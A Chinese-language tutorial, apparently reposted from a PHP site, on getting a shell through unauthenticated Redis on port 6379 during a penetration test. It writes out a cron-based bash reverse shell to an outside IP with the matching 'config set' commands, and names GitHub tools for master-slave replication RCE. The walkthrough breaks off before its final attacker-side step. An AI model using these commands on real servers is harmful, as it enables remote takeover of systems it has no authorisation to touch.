通常情況下,當進行授權滲透測試時,即使嘗試了傳統漏洞攻擊(如注入、文件上傳等),卻無法獲得任何資訊時,掃描端口還是可能會帶來意料之外的收穫。
#簡單來說redis 就是一個Key-Value類型的資料庫, redis 所有資料全部在記憶體中進行操作,並且它可以將記憶體中的資料定期儲存在磁碟中,並且支援保存多種資料結構(String、hash、list等)。
Redis在預設情況下,會綁定在0.0.0.0:6379,如果沒有採用限制IP訪問,就會將Redis服務暴露在公網上,並且在沒有設定密碼認證的情況下,會導致任意用戶未授權訪問Redis以及讀取Redis資料並寫入公鑰進行遠端連線等。
當拿到資料庫權限是不會滿足我們的,我們的目標只有一個getshell!
目前較主流的兩個方法,第一種定時計畫反彈shell、第二種利用主從複製rce。
1)set x "\n* * * * * bash -i >& /dev/tcp/ 1.1.1.1/888 0>&1\n"
2)config set dir /var/spool/cron/
3)config set dbfilename root
#4)save
漏洞存在於4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機資料都是一樣的,從機只負責讀,主機只負責寫。在Reids 4.x之後,透過外部拓展,可以實現在redis中實作一個新的Redis指令,建構惡意.so檔。在兩個Redis實例設定主從模式的時候,Redis的主機實例可以透過FULLRESYNC同步檔案到從機上。然後在從機上載入惡意so文件,即可執行指令。
需要利用一個工具,GitHub下載即可。
1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需make)
2)git clone https://github.com/Ridter/ redis-rce.git
然後透過未授權存取或弱口令連接redis,執行腳本即可取得shell。
#本次掃到了6379也就是Redis,有的時候可能或改默認端口,建議全埠掃描,本次利用主從複製rce取得shell(由於該漏洞已提交src,簽約保密協議,故搭建靶機還原真實環境,保證原汁原味。)
攻擊端ip:192.168.109.134
服務端ip:192.168.109.136
##透過未授權存取連接redis(如果有密碼,可以嘗試爆破,authpassword 登陸系統) :Redis-cli –h ip
利用主從複製rce取得shell
攻擊端執行:
以上是Redis+Getshell的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!